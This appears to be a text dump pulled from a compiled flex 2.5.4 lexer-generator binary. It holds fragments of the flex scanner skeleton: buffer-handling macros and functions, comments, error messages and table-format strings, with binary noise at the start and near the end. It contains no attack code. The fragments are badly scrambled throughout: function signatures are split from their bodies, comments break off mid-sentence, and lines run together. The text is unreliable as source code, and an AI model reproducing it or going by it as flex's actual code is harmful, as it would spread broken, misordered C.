[B<~{zyxutdc`^]\[QM><:987651+*'&#^^UMM'/* A lexical scanner generated by flex */ * $Header: /home/daffy/u0/vern/flex/RCS/flex.skl,v 2.91 96/09/10 16:58:48 vern Exp $#define YY_FLEX_MAJOR_VERSION 2#define YY_FLEX_MINOR_VERSION 5/* cfront 1.2 defines "c_plusplus" instead of "__cplusplus" *//* Use prototypes in function declarations. *//* The "const" storage-class-modifier is valid. *//* Returned upon end-of-file. *//* Promotes a possibly negative, possibly signed char to an unsigned * integer for use as an array index.  If the signed char is negative, * we want to instead treat it as an 8-bit unsigned char, hence the#define YY_SC_TO_UI(c) ((unsigned int) (unsigned char) c)/* Enter a start condition.  This macro really ought to take a parameter, * but we do it the disgusting crufty way forced on us by the ()-less#define BEGIN yy_start = 1 + 2 */* Translate the current start state into a value that can be later handed * to BEGIN to return to the state.  The YYSTATE alias is for lex#define YY_START ((yy_start - 1) / 2)/* Action number for EOF rule of a given start state. */#define YY_STATE_EOF(state) (YY_END_OF_BUFFER + state + 1)/* Special action meaning "start processing a new file". */#define YY_NEW_FILE yyrestart( yyin )#define YY_END_OF_BUFFER_CHAR 0/* Size of default input buffer. */typedef struct yy_buffer_state *YY_BUFFER_STATE;#define EOB_ACT_CONTINUE_SCAN 0/* The funky do-while in the following #define is used to turn the definition * int a single C statement (which needs a semi-colon terminator).  This * avoids problems with code like: * Prior to using the do-while the compiler would get upset at the * "else" because it interpreted the "if" statement as being all * done when it reached the ';' after the yyless() call./* Return all but the first 'n' matched characters back to the input stream. */		/* Undo effects of setting up yytext. */ \		yy_c_buf_p = yy_cp = yy_bp + n - YY_MORE_ADJ; \		YY_DO_BEFORE_ACTION; /* set up yytext again */ \#define unput(c) yyunput( c, yytext_ptr )/* The following is because we cannot portably get our hands on size_t * (without autoconf's help, which isn't available because we want * flex-generated scanners to compile on their own).typedef unsigned int yy_size_t;	char *yy_ch_buf;		/* input buffer */	char *yy_buf_pos;		/* current position in input buffer */	/* Size of input buffer in bytes, not including room for EOB	/* Number of characters read into yy_ch_buf, not including EOB	/* Whether we "own" the buffer - i.e., we know we created it,	 * and can realloc() it to grow it, and should free() it to	/* Whether this is an "interactive" input source; if so, and	 * if we're using stdio for input, then we want to use getc()	 * instead of fread(), to make sure we stop fetching input after	/* Whether we're considered to be at the beginning of a line.	 * If so, '^' rules will be active on the next match, otherwise	/* Whether to try to fill the input buffer when we reach the	/* When an EOF's been seen but there's still some text to process	 * then we mark the buffer as YY_EOF_PENDING, to indicate that we	 * shouldn't try reading from the input source any more.  We might	 * still have a bunch of tokens to match, though, because of	 * When we actually see the EOF, we change the status to "new"	 * (via yyrestart()), so that the user can continue scanning by	 * just pointing yyin at a new input file.#define YY_BUFFER_EOF_PENDING 2%- Standard (non-C++) definitionstatic YY_BUFFER_STATE yy_current_buffer = 0;/* We provide macros for accessing buffer states in case in the * future we want to put the buffer states in a more general#define YY_CURRENT_BUFFER yy_current_buffer/* yy_hold_char holds the character lost when yytext is formed. */static int yy_n_chars;		/* number of characters read into yy_ch_buf *//* Points to current character in buffer. */static char *yy_c_buf_p = (char *) 0;static int yy_init = 1;		/* whether we need to initialize */static int yy_start = 0;	/* start state number *//* Flag which is used to allow yywrap()'s to do buffer switches * instead of setting up a fresh yyin.  A bit of a hack ...static int yy_did_buffer_switch_on_eof;void yyrestart YY_PROTO(( FILE *input_file ));void yy_switch_to_buffer YY_PROTO(( YY_BUFFER_STATE new_buffer ));void yy_load_buffer_state YY_PROTO(( void ));YY_BUFFER_STATE yy_create_buffer YY_PROTO(( FILE *file, int size ));void yy_delete_buffer YY_PROTO(( YY_BUFFER_STATE b ));void yy_init_buffer YY_PROTO(( YY_BUFFER_STATE b, FILE *file ));void yy_flush_buffer YY_PROTO(( YY_BUFFER_STATE b ));#define YY_FLUSH_BUFFER yy_flush_buffer( yy_current_buffer )YY_BUFFER_STATE yy_scan_buffer YY_PROTO(( char *base, yy_size_t size ));YY_BUFFER_STATE yy_scan_string YY_PROTO(( yyconst char *yy_str ));YY_BUFFER_STATE yy_scan_bytes YY_PROTO(( yyconst char *bytes, int len ));static void *yy_flex_alloc YY_PROTO(( yy_size_t ));static void *yy_flex_realloc YY_PROTO(( void *, yy_size_t ));static void yy_flex_free YY_PROTO(( void * ));#define yy_new_buffer yy_create_buffer#define yy_set_interactive(is_interactive) \		yy_current_buffer = yy_create_buffer( yyin, YY_BUF_SIZE ); \	yy_current_buffer->yy_is_interactive = is_interactive; \	yy_current_buffer->yy_at_bol = at_bol; \#define YY_AT_BOL() (yy_current_buffer->yy_at_bol)%% yytext/yyin/yyout/yy_state_type/yylineno etc. def's & init go herestatic yy_state_type yy_get_previous_state YY_PROTO(( void ));static yy_state_type yy_try_NUL_trans YY_PROTO(( yy_state_type current_state ));static int yy_get_next_buffer YY_PROTO(( void ));static void yy_fatal_error YY_PROTO(( yyconst char msg[] ));/* Done after the current pattern has been matched and before the * corresponding action - sets up yytext.%% code to fiddle yytext and yyleng for yymore() goes here%% code to copy yytext_ptr to yytext[] goes here, if %array%% data tables for the DFA and the user's section 1 definitions go here/* Macros after this point can all be overridden by user definitions inextern "C" int yywrap YY_PROTO(( void ));extern int yywrap YY_PROTO(( void ));static void yyunput YY_PROTO(( int c, char *buf_ptr ));static void yy_flex_strncpy YY_PROTO(( char *, yyconst char *, int ));static int yy_flex_strlen YY_PROTO(( yyconst char * ));static int yyinput YY_PROTO(( void ));static int input YY_PROTO(( void ));static int yy_start_stack_ptr = 0;static int yy_start_stack_depth = 0;static int *yy_start_stack = 0;static void yy_push_state YY_PROTO(( int new_state ));static void yy_pop_state YY_PROTO(( void ));static int yy_top_state YY_PROTO(( void ));/* Just try to get by without declaring the routines.  This will fail * miserably on non-ANSI systems for which sizeof(size_t) != sizeof(int) * or sizeof(void*) != sizeof(int)./* Amount of stuff to slurp up with each read. *//* Copy whatever the last rule matched to the standard output. *//* This used to be an fputs(), but since the string might contain NUL's,#define ECHO (void) fwrite( yytext, yyleng, 1, yyout )#define ECHO LexerOutput( yytext, yyleng )/* Gets input and stuffs it into "buf".  number of characters read, or YY_NULL,#define YY_INPUT(buf,result,max_size) \%% fread()/read() definition of YY_INPUT goes here unless we're doing C++	if ( (result = LexerInput( (char *) buf, max_size )) < 0 ) \/* No semi-colon after return; correct usage is to write "yyterminate();" - * we don't want an extra ';' after the "return" because that will cause * some compilers to complain about unreachable statements.#define yyterminate() return YY_NULL/* Number of entries by which start-condition stack grows. */#define YY_START_STACK_INCR 25#define YY_FATAL_ERROR(msg) yy_fatal_error( msg )#define YY_FATAL_ERROR(msg) LexerError( msg )/* Default declaration of generated scanner - a define so the user can#define YY_DECL int yylex YY_PROTO(( void ))#define YY_DECL int yyFlexLexer::yylex()/* Code executed at the beginning of each rule, after yytext and yyleng/* Code executed at the end of each rule. */%% YY_RULE_SETUP definition goes here	register yy_state_type yy_current_state;	register char *yy_cp, *yy_bp;%% user's declarations go here			yy_start = 1;	/* first start state */				yy_create_buffer( yyin, YY_BUF_SIZE );	while ( 1 )		/* loops until end-of-file is reached */%% yymore()-related code goes here		/* yy_bp points to the position in yy_ch_buf of the start of%% code to set up and find next match goes here%% code to find the action number goes here%% code for yylineno update goes heredo_action:	/* This label is used only to access EOF actions. */	{ /* beginning of action switch */		/* Amount of text matched not including the EOB char. */		int yy_amount_of_matched_text = (int) (yy_cp - yytext_ptr) - 1;		/* Undo the effects of YY_DO_BEFORE_ACTION. */		if ( yy_current_buffer->yy_buffer_status == YY_BUFFER_NEW )			/* We're scanning a new file or input source.  It's			 * possible that this happened because the user			 * just pointed yyin at a new source and called			 * yylex().  If so, then we have to assure			 * consistency between yy_current_buffer and our			 * globals.  Here is the right place to do so, because			 * this is the first action (other than possibly a			 * back-up) that will match for the new input source.			yy_n_chars = yy_current_buffer->yy_n_chars;			yy_current_buffer->yy_input_file = yyin;			yy_current_buffer->yy_buffer_status = YY_BUFFER_NORMAL;		/* Note that here we test for yy_c_buf_p "<=" to the position		 * of the first EOB in the buffer, since yy_c_buf_p will		 * already have been incremented past the NUL character		 * (since all states make transitions on EOB to the		 * end-of-buffer state).  Contrast this with the test		if ( yy_c_buf_p <= &yy_current_buffer->yy_ch_buf[yy_n_chars] )			{ /* This was really a NUL. */			yy_state_type yy_next_state;			yy_c_buf_p = yytext_ptr + yy_amount_of_matched_text;			yy_current_state = yy_get_previous_state();			/* Okay, we're now positioned to make the NUL			 * transition.  We couldn't have			 * yy_get_previous_state() go ahead and do it			 * for us because it doesn't know how to deal			 * with the possibility of jamming (and we don't			 * want to build jamming into it because then it			yy_next_state = yy_try_NUL_trans( yy_current_state );			yy_bp = yytext_ptr + YY_MORE_ADJ;				yy_current_state = yy_next_state;%% code to do back-up for compressed tables and set up yy_cp goes here		else switch ( yy_get_next_buffer() )				yy_did_buffer_switch_on_eof = 0;					/* Note: because we've taken care in					 * yy_get_next_buffer() to have set up					 * yytext, we can now set up					 * yy_c_buf_p so that if some total					 * hoser (like flex itself) wants to					 * call the scanner after we return the					 * YY_NULL, it'll still work - another					 * YY_NULL will get returned.					yy_c_buf_p = yytext_ptr + YY_MORE_ADJ;					yy_act = YY_STATE_EOF(YY_START);					if ( ! yy_did_buffer_switch_on_eof )			case EOB_ACT_CONTINUE_SCAN:					yytext_ptr + yy_amount_of_matched_text;				yy_current_state = yy_get_previous_state();				yy_bp = yytext_ptr + YY_MORE_ADJ;				&yy_current_buffer->yy_ch_buf[yy_n_chars];			"fatal flex scanner internal error--no action found" );		} /* end of scanning one token */yyFlexLexer::yyFlexLexer( istream* arg_yyin, ostream* arg_yyout )	yylineno = 1;	// this will only get updated if %option yylineno	yy_did_buffer_switch_on_eof = 0;	yy_looking_for_trail_begin = 0;	yy_more_offset = yy_prev_more_offset = 0;	yy_start_stack_ptr = yy_start_stack_depth = 0;	yy_state_buf = new yy_state_type[YY_BUF_SIZE + 2];	yy_delete_buffer( yy_current_buffer );void yyFlexLexer::switch_streams( istream* new_in, ostream* new_out )		yy_delete_buffer( yy_current_buffer );		yy_switch_to_buffer( yy_create_buffer( new_in, YY_BUF_SIZE ) );int yyFlexLexer::LexerInput( char* buf, int /* max_size */ )int yyFlexLexer::LexerInput( char* buf, int max_size )	if ( yyin->eof() || yyin->fail() )	(void) yyin->read( buf, max_size );void yyFlexLexer::LexerOutput( const char* buf, int size )	(void) yyout->write( buf, size );/* yy_get_next_buffer - try to read in a new buffer * Returns a code representing an action: *	EOB_ACT_CONTINUE_SCAN - continue scanning from current position *	EOB_ACT_END_OF_FILE - end of filestatic int yy_get_next_buffer()int yyFlexLexer::yy_get_next_buffer()	register char *dest = yy_current_buffer->yy_ch_buf;	register char *source = yytext_ptr;	register int number_to_move, i;	if ( yy_c_buf_p > &yy_current_buffer->yy_ch_buf[yy_n_chars + 1] )		"fatal flex scanner internal error--end of buffer missed" );	if ( yy_current_buffer->yy_fill_buffer == 0 )		{ /* Don't try to fill the buffer, so this is an EOF. */		if ( yy_c_buf_p - yytext_ptr - YY_MORE_ADJ == 1 )			/* We matched a single character, the EOB, so			 * treat this as a final EOF.			return EOB_ACT_END_OF_FILE;			/* We matched some text prior to the EOB, first	/* First move last chars to start of buffer. */	number_to_move = (int) (yy_c_buf_p - yytext_ptr) - 1;	for ( i = 0; i < number_to_move; ++i )	if ( yy_current_buffer->yy_buffer_status == YY_BUFFER_EOF_PENDING )		/* don't do the read, it's not guaranteed to return an EOF,		yy_current_buffer->yy_n_chars = yy_n_chars = 0;			yy_current_buffer->yy_buf_size - number_to_move - 1;			{ /* Not enough room in the buffer - grow it. */"input buffer overflow, can't enlarge buffer because scanner uses REJECT" );			/* just a shorter name for the current buffer */			YY_BUFFER_STATE b = yy_current_buffer;				(int) (yy_c_buf_p - b->yy_ch_buf);				int new_size = b->yy_buf_size * 2;					b->yy_buf_size += b->yy_buf_size / 8;					/* Include room in for 2 EOB chars. */					yy_flex_realloc( (void *) b->yy_ch_buf,				/* Can't grow it, we don't own it. */				"fatal error - scanner input buffer overflow" );			yy_c_buf_p = &b->yy_ch_buf[yy_c_buf_p_offset];			num_to_read = yy_current_buffer->yy_buf_size -		if ( num_to_read > YY_READ_BUF_SIZE )			num_to_read = YY_READ_BUF_SIZE;		YY_INPUT( (&yy_current_buffer->yy_ch_buf[number_to_move]),		yy_current_buffer->yy_n_chars = yy_n_chars;		if ( number_to_move == YY_MORE_ADJ )			ret_val = EOB_ACT_END_OF_FILE;			ret_val = EOB_ACT_LAST_MATCH;			yy_current_buffer->yy_buffer_status =		ret_val = EOB_ACT_CONTINUE_SCAN;	yy_n_chars += number_to_move;	yy_current_buffer->yy_ch_buf[yy_n_chars] = YY_END_OF_BUFFER_CHAR;	yy_current_buffer->yy_ch_buf[yy_n_chars + 1] = YY_END_OF_BUFFER_CHAR;	yytext_ptr = &yy_current_buffer->yy_ch_buf[0];/* yy_get_previous_state - get the state just before the EOB char was reached */static yy_state_type yy_get_previous_state()yy_state_type yyFlexLexer::yy_get_previous_state()%% code to get the start state into yy_current_state goes here	for ( yy_cp = yytext_ptr + YY_MORE_ADJ; yy_cp < yy_c_buf_p; ++yy_cp )%% code to find the next state goes here/* yy_try_NUL_trans - try to make a transition on the NUL character *	next_state = yy_try_NUL_trans( current_state );static yy_state_type yy_try_NUL_trans( yy_state_type yy_current_state )static yy_state_type yy_try_NUL_trans( yy_current_state )yy_state_type yy_current_state;yy_state_type yyFlexLexer::yy_try_NUL_trans( yy_state_type yy_current_state )%% code to find the next state, and perhaps do backing up, goes here	return yy_is_jam ? 0 : yy_current_state;static void yyunput( int c, register char *yy_bp )static void yyunput( c, yy_bp )void yyFlexLexer::yyunput( int c, register char* yy_bp )	register char *yy_cp = yy_c_buf_p;	/* undo effects of setting up yytext */	if ( yy_cp < yy_current_buffer->yy_ch_buf + 2 )		{ /* need to shift things up to make room */		register int number_to_move = yy_n_chars + 2;		register char *dest = &yy_current_buffer->yy_ch_buf[					yy_current_buffer->yy_buf_size + 2];				&yy_current_buffer->yy_ch_buf[number_to_move];		while ( source > yy_current_buffer->yy_ch_buf )		yy_cp += (int) (dest - source);		yy_bp += (int) (dest - source);		yy_current_buffer->yy_n_chars =			yy_n_chars = yy_current_buffer->yy_buf_size;		if ( yy_cp < yy_current_buffer->yy_ch_buf + 2 )			YY_FATAL_ERROR( "flex scanner push-back overflow" );#endif	/* ifndef YY_NO_UNPUT */	if ( *yy_c_buf_p == YY_END_OF_BUFFER_CHAR )		/* yy_c_buf_p now points to the character we want to return.		 * If this occurs *before* the EOB characters, then it's a		 * valid NUL; if not, then we've hit the end of the buffer.		if ( yy_c_buf_p < &yy_current_buffer->yy_ch_buf[yy_n_chars] )			/* This was really a NUL. */			int offset = yy_c_buf_p - yytext_ptr;			switch ( yy_get_next_buffer() )					/* This happens because yy_g_n_b()					 * sees that we've accumulated a					 * token and flags that we need to					 * try matching the token before					 * proceeding.  But for input(),					 * there's no matching to consider.					 * So convert the EOB_ACT_LAST_MATCH					 * to EOB_ACT_END_OF_FILE.					/* Reset buffer status. */				case EOB_ACT_CONTINUE_SCAN:					yy_c_buf_p = yytext_ptr + offset;	c = *(unsigned char *) yy_c_buf_p;	/* cast for 8-bit char's */	*yy_c_buf_p = '\0';	/* preserve yytext */	yy_hold_char = *++yy_c_buf_p;void yyrestart( FILE *input_file )void yyFlexLexer::yyrestart( istream* input_file )		yy_current_buffer = yy_create_buffer( yyin, YY_BUF_SIZE );	yy_init_buffer( yy_current_buffer, input_file );void yy_switch_to_buffer( YY_BUFFER_STATE new_buffer )void yy_switch_to_buffer( new_buffer )void yyFlexLexer::yy_switch_to_buffer( YY_BUFFER_STATE new_buffer )	if ( yy_current_buffer == new_buffer )		/* Flush out information for old buffer. */		yy_current_buffer->yy_buf_pos = yy_c_buf_p;	yy_current_buffer = new_buffer;	/* We don't actually know whether we did this switch during	 * EOF (yywrap()) processing, but the only time this flag	 * is looked at is after yywrap() is called, so it's safe	 * to go ahead and always set it.	yy_did_buffer_switch_on_eof = 1;void yy_load_buffer_state( void )void yyFlexLexer::yy_load_buffer_state()	yy_n_chars = yy_current_buffer->yy_n_chars;	yytext_ptr = yy_c_buf_p = yy_current_buffer->yy_buf_pos;	yyin = yy_current_buffer->yy_input_file;YY_BUFFER_STATE yy_create_buffer( FILE *file, int size )YY_BUFFER_STATE yy_create_buffer( file, size )YY_BUFFER_STATE yyFlexLexer::yy_create_buffer( istream* file, int size )	b = (YY_BUFFER_STATE) yy_flex_alloc( sizeof( struct yy_buffer_state ) );		YY_FATAL_ERROR( "out of dynamic memory in yy_create_buffer()" );	/* yy_ch_buf has to be 2 characters longer than the size given because	 * we need to put in 2 end-of-buffer characters.	b->yy_ch_buf = (char *) yy_flex_alloc( b->yy_buf_size + 2 );void yy_delete_buffer( YY_BUFFER_STATE b )void yyFlexLexer::yy_delete_buffer( YY_BUFFER_STATE b )	if ( b == yy_current_buffer )		yy_current_buffer = (YY_BUFFER_STATE) 0;		yy_flex_free( (void *) b->yy_ch_buf );extern int isatty YY_PROTO(( int ));void yy_init_buffer( YY_BUFFER_STATE b, FILE *file )void yy_init_buffer( b, file )extern "C" int isatty YY_PROTO(( int ));void yyFlexLexer::yy_init_buffer( YY_BUFFER_STATE b, istream* file )	b->yy_is_interactive = file ? (isatty( fileno(file) ) > 0) : 0;void yy_flush_buffer( YY_BUFFER_STATE b )void yyFlexLexer::yy_flush_buffer( YY_BUFFER_STATE b )	/* We always need two end-of-buffer characters.  The first causes	 * a transition to the end-of-buffer state.  The second causes	b->yy_ch_buf[0] = YY_END_OF_BUFFER_CHAR;	b->yy_ch_buf[1] = YY_END_OF_BUFFER_CHAR;	b->yy_buf_pos = &b->yy_ch_buf[0];	b->yy_buffer_status = YY_BUFFER_NEW;YY_BUFFER_STATE yy_scan_buffer( char *base, yy_size_t size )YY_BUFFER_STATE yy_scan_buffer( base, size )	     base[size-2] != YY_END_OF_BUFFER_CHAR ||	     base[size-1] != YY_END_OF_BUFFER_CHAR )		/* They forgot to leave room for the EOB's. */		YY_FATAL_ERROR( "out of dynamic memory in yy_scan_buffer()" );	b->yy_buf_size = size - 2;	/* "- 2" to take care of EOB's */	b->yy_buf_pos = b->yy_ch_buf = base;	b->yy_n_chars = b->yy_buf_size;YY_BUFFER_STATE yy_scan_string( yyconst char *yy_str )YY_BUFFER_STATE yy_scan_string( yy_str )	for ( len = 0; yy_str[len]; ++len )	return yy_scan_bytes( yy_str, len );YY_BUFFER_STATE yy_scan_bytes( yyconst char *bytes, int len )YY_BUFFER_STATE yy_scan_bytes( bytes, len )	/* Get memory for full buffer, including space for trailing EOB's. */	buf = (char *) yy_flex_alloc( n );		YY_FATAL_ERROR( "out of dynamic memory in yy_scan_bytes()" );	buf[len] = buf[len+1] = YY_END_OF_BUFFER_CHAR;	b = yy_scan_buffer( buf, n );		YY_FATAL_ERROR( "bad buffer in yy_scan_bytes()" );	/* It's okay to grow etc. this buffer, and we should throw itstatic void yy_push_state( int new_state )static void yy_push_state( new_state )void yyFlexLexer::yy_push_state( int new_state )	if ( yy_start_stack_ptr >= yy_start_stack_depth )		yy_start_stack_depth += YY_START_STACK_INCR;		new_size = yy_start_stack_depth * sizeof( int );			yy_start_stack = (int *) yy_flex_alloc( new_size );			yy_start_stack = (int *) yy_flex_realloc(					(void *) yy_start_stack, new_size );			"out of memory expanding start-condition stack" );	yy_start_stack[yy_start_stack_ptr++] = YY_START;void yyFlexLexer::yy_pop_state()	if ( --yy_start_stack_ptr < 0 )		YY_FATAL_ERROR( "start-condition stack underflow" );	BEGIN(yy_start_stack[yy_start_stack_ptr]);int yyFlexLexer::yy_top_state()	return yy_start_stack[yy_start_stack_ptr - 1];static void yy_fatal_error( yyconst char msg[] )static void yy_fatal_error( msg )	(void) fprintf( stderr, "%s\n", msg );void yyFlexLexer::LexerError( yyconst char msg[] )/* Redefine yyless() so it works in section 3 code. */		yytext[yyleng] = yy_hold_char; \		yy_hold_char = *yy_c_buf_p; \/* Internal utility routines. */static void yy_flex_strncpy( char *s1, yyconst char *s2, int n )static void yy_flex_strncpy( s1, s2, n )static int yy_flex_strlen( yyconst char *s )static int yy_flex_strlen( s )static void *yy_flex_alloc( yy_size_t size )static void *yy_flex_alloc( size )	return (void *) malloc( size );static void *yy_flex_realloc( void *ptr, yy_size_t size )static void *yy_flex_realloc( ptr, size )	/* The cast to (char *) in the following accommodates both	 * implementations that use char* generic pointers, and those	 * that use void* generic pointers.  It works with the latter	 * because both ANSI C and C++ allow castless assignment from	 * any pointer type to void*, and deal with argument conversions	 * as though doing an assignment.	return (void *) realloc( (char *) ptr, size );static void yy_flex_free( void *ptr )static void yy_flex_free( ptr )/* Scanner skeleton version:#define FLEX_SCANNER%-#include <stdio.h>%*#ifdef c_plusplus#ifndef __cplusplus#define __cplusplus#ifdef __cplusplus#include <stdlib.h>%+class istream;#include <unistd.h>#define YY_USE_PROTOS#define YY_USE_CONST#else	/* ! __cplusplus */#if __STDC__#endif	/* __STDC__ */#endif	/* ! __cplusplus */#ifdef __TURBOC__ #pragma warn -rch #pragma warn -use#include <io.h>#ifdef YY_USE_CONST#define yyconst const#define yyconst#ifdef YY_USE_PROTOS#define YY_PROTO(proto) proto#define YY_PROTO(proto) ()#define YY_NULL 0 * double cast. * definition of BEGIN. * compatibility.#define YYSTATE YY_START#define YY_BUF_SIZE 16384extern int yyleng;extern FILE *yyin, *yyout;#define EOB_ACT_END_OF_FILE 1#define EOB_ACT_LAST_MATCH 2 * 	if ( condition_holds ) *		yyless( 5 ); *	else *		do_something_else();#define yyless(n) \	do \		*yy_cp = yy_hold_char; \		YY_RESTORE_YY_MORE_OFFSET \	while ( 0 )struct yy_buffer_state	FILE *yy_input_file;	istream* yy_input_file;	 * characters.	yy_size_t yy_buf_size;	int yy_n_chars;	 * delete it.	int yy_is_our_buffer;	 * each newline.	int yy_is_interactive;	 * not.	int yy_at_bol;	 * end of it.	int yy_fill_buffer;	int yy_buffer_status;#define YY_BUFFER_NEW 0#define YY_BUFFER_NORMAL 1	 * possible backing-up.	 *	}; * "scanner state".static char yy_hold_char;	if ( ! yy_current_buffer ) \#define yy_set_bol(at_bol) \#define YY_DO_BEFORE_ACTION \	yytext_ptr = yy_bp; \	yy_hold_char = *yy_cp; \	*yy_cp = '\0'; \	yy_c_buf_p = yy_cp; * section 1.#ifndef YY_SKIP_YYWRAP#ifndef YY_NO_UNPUT#ifndef yytext_ptr#ifdef YY_NEED_STRLEN#ifndef YY_NO_INPUT#if YY_STACK_USED#ifndef YY_NO_PUSH_STATE#ifndef YY_NO_POP_STATE#ifndef YY_NO_TOP_STATE#define YY_NO_PUSH_STATE 1#define YY_NO_POP_STATE 1#define YY_NO_TOP_STATE 1#ifdef YY_MALLOC_DECL#ifndef YY_READ_BUF_SIZE#define YY_READ_BUF_SIZE 8192#ifndef ECHO * we now use fwrite().%+ C++ definition * is returned in "result".#ifndef YY_INPUT#ifndef yyterminate#ifndef YY_START_STACK_INCR/* Report a fatal error. */#ifndef YY_FATAL_ERROR * easily add parameters.#ifndef YY_DECL * have been set up.#ifndef YY_USER_ACTION#define YY_USER_ACTION#ifndef YY_BREAK#define YY_BREAK break;	register int yy_act;	if ( yy_init )		yy_init = 0;#ifdef YY_USER_INIT		YY_USER_INIT;		if ( ! yy_start )		if ( ! yyin )			yyin = stdin;			yyin = &cin;		if ( ! yyout )			yyout = stdout;			yyout = &cout;		if ( ! yy_current_buffer )			yy_current_buffer =		yy_load_buffer_state();		/* Support of yytext. */		*yy_cp = yy_hold_char;		 * the current run.		yy_bp = yy_cp;yy_find_action:		YY_DO_BEFORE_ACTION;%% debug code goes here		switch ( yy_act )%% actions go here	case YY_END_OF_BUFFER:		YY_RESTORE_YY_MORE_OFFSET		 * in input().			 * will run more slowly).			if ( yy_next_state )				/* Consume the NUL. */				yy_cp = ++yy_c_buf_p;				goto yy_match;				goto yy_find_action;					{					 */					goto do_action;					}				else						YY_NEW_FILE;				yy_c_buf_p =				yy_cp = yy_c_buf_p;	default:	} /* end of action switch */	} /* end of yylex */	yyin = arg_yyin;	yyout = arg_yyout;	yy_c_buf_p = 0;	yy_init = 1;	yy_start = 0;	yy_flex_debug = 0;	yy_more_flag = 0;	yy_more_len = 0;	yy_start_stack = 0;	yy_current_buffer = 0;#ifdef YY_USES_REJECT	yy_state_buf = 0;yyFlexLexer::~yyFlexLexer()	delete yy_state_buf;	if ( new_in )	if ( new_out )		yyout = new_out;#ifdef YY_INTERACTIVE		return 0;	yyin->get( buf[0] );	if ( yyin->eof() )	if ( yyin->bad() )		return -1;	return 1;		return yyin->gcount(); *	EOB_ACT_LAST_MATCH -	int ret_val;			 * process it.			return EOB_ACT_LAST_MATCH;	/* Try to read more data. */		*(dest++) = *(source++);		 * just force an EOF		int num_to_read =		while ( num_to_read <= 0 )			int yy_c_buf_p_offset =			if ( b->yy_is_our_buffer )				if ( new_size <= 0 )					b->yy_buf_size *= 2;				b->yy_ch_buf = (char *)							 b->yy_buf_size + 2 );				b->yy_ch_buf = 0;			if ( ! b->yy_ch_buf )				YY_FATAL_ERROR(						number_to_move - 1;		/* Read in more data. */			yy_n_chars, num_to_read );	if ( yy_n_chars == 0 )				YY_BUFFER_EOF_PENDING;	return ret_val;	register char *yy_cp;	return yy_current_state; * synopsis	register int yy_is_jam;register char *yy_bp;		/* +2 for EOB chars. */		register char *source =			*--dest = *--source;	*--yy_cp = (char) c;%% update yylineno here	yytext_ptr = yy_bp;	yy_hold_char = *yy_cp;static int yyinput()static int input()int yyFlexLexer::yyinput()	int c;			*yy_c_buf_p = '\0';			{ /* need more input */			++yy_c_buf_p;				case EOB_ACT_LAST_MATCH:					yyrestart( yyin );					/* fall through */				case EOB_ACT_END_OF_FILE:					if ( yywrap() )						return EOF;					return yyinput();					return input();					break;%% update BOL and yylineno	return c;void yyrestart( input_file )FILE *input_file;YY_BUFFER_STATE new_buffer;		return;	if ( yy_current_buffer )		*yy_c_buf_p = yy_hold_char;void yy_load_buffer_state()	yy_hold_char = *yy_c_buf_p;FILE *file;int size;	YY_BUFFER_STATE b;	if ( ! b )	b->yy_buf_size = size;	b->yy_is_our_buffer = 1;	yy_init_buffer( b, file );	return b;void yy_delete_buffer( b )	yy_flex_free( (void *) b );#ifndef YY_ALWAYS_INTERACTIVE#ifndef YY_NEVER_INTERACTIVE	yy_flush_buffer( b );	b->yy_input_file = file;	b->yy_fill_buffer = 1;#if YY_ALWAYS_INTERACTIVE	b->yy_is_interactive = 1;#if YY_NEVER_INTERACTIVE	b->yy_is_interactive = 0;void yy_flush_buffer( b )	b->yy_n_chars = 0;	 * a jam in that state.	b->yy_at_bol = 1;#ifndef YY_NO_SCAN_BUFFERchar *base;yy_size_t size;	if ( size < 2 ||	b->yy_is_our_buffer = 0;	b->yy_input_file = 0;	b->yy_fill_buffer = 0;	yy_switch_to_buffer( b );#ifndef YY_NO_SCAN_STRINGyyconst char *yy_str;	int len;		;#ifndef YY_NO_SCAN_BYTESyyconst char *bytes;	char *buf;	yy_size_t n;	int i;	n = len + 2;	if ( ! buf )	for ( i = 0; i < len; ++i )		buf[i] = bytes[i];	 * away when we're done.int new_state;		yy_size_t new_size;		if ( ! yy_start_stack )	BEGIN(new_state);static void yy_pop_state()static int yy_top_state()#ifndef YY_EXIT_FAILURE#define YY_EXIT_FAILURE 2char msg[];	exit( YY_EXIT_FAILURE );	cerr << msg << '\n';#undef yyless		yy_c_buf_p = yytext + n; \		*yy_c_buf_p = '\0'; \		yyleng = n; \char *s1;yyconst char *s2;	register int i;	for ( i = 0; i < n; ++i )		s1[i] = s2[i];yyconst char *s;	register int n;	for ( n = 0; s[n]; ++n )	return n;void *ptr;	free( ptr );#if YY_MAINint main()	yylex();symbol table memory allocation failedstart condition %s declared twicename defined twicepremature EOF%d	%%
'%s'\%c<<EOF>>%s End Marker
*Something Weird* - tok: %d val: %d
gggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg$
oH̃|
Qȅ ohoo.>N^n~·އ.>N^n~Έstatic yyconst yy_state_type %s[%d] =
    {   0,
static yyconst long int %s[%d] =
    {   0,
static yyconst short int %s[%d] =
    {   0,
static yyconst int %s[%d] =
    {   0,
@(#) Copyright (c) 1990 The Regents of the University of California.
 All rights reserved.
FILE *yyin = (FILE *) 0, *yyout = (FILE *) 0;FILE *yyin = stdin, *yyout = stdout;2.5.4#line %d "%s"
